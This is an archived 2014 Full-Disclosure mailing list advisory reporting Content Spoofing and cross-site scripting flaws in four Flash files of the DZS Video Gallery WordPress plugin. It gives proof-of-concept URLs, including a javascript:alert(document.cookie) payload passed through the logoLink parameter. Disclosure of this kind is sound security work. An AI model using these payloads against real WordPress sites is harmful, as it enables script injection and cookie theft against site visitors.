| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <00d501cf7ab6$795c91a0$9b7a6fd5@pc> Date: Wed, 28 May 2014 23:50:28 +0300 From: "MustLive" <mustlive@...security.com.ua> To: <submissions@...ketstormsecurity.org>, <fulldisclosure@...lists.org> Subject: [FD] CS and XSS vulnerabilities in DZS Video Gallery for WordPress Hello list! There are Content Spoofing and Cross-Site Scripting vulnerabilities in plugin DZS Video Gallery for WordPress. After I announced multiple vulnerabilities in DZS Video Gallery at 08.05.2014 and informed developers, they ignored it, so the second advisory is going directly to full disclosure (and details of the first advisory will be disclosed next month). ------------------------- Affected products: ------------------------- Vulnerable are all versions of DZS Video Gallery for WordPress. ------------------------- Affected vendors: ------------------------- Digital Zoom Studio http://digitalzoomstudio.net ---------- Details: ---------- There are 4 flash-files, which are vulnerable to CS and XSS. So all flash-files have 12 vulnerabilities in total. http://site/wp-content/plugins/dzs-videogallery/deploy/preview.swf http://site/wp-content/plugins/dzs-videogallery/deploy/preview_skin_rouge.swf http://site/wp-content/plugins/dzs-videogallery/deploy/preview_allchars.swf http://site/wp-content/plugins/dzs-videogallery/deploy/preview_skin_overlay.swf Content Spoofing (WASC-12): Swf-file accepts arbitrary addresses in parameters video and thumb, which allows to spoof content of flash - i.e. by setting addresses of video and/or image files from other site. http://site/wp-content/plugins/dzs-videogallery/deploy/preview.swf?video=1.flv&thumb=1.jpg Content Spoofing (WASC-12): Swf-file accepts arbitrary addresses in parameters logo and logoLink, which allows to inject logo and link to external site. http://site/wp-content/plugins/dzs-videogallery/deploy/preview.swf?video=1.flv&logo=1.jpg&logoLink=http://websecurity.com.ua Cross-Site Scripting (WASC-08): http://site/wp-content/plugins/dzs-videogallery/deploy/preview.swf?video=1.flv&logo=1.jpg&logoLink=javascript:alert(document.cookie) I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/7183/). Best wishes & regards, Eugene Dokukin aka MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists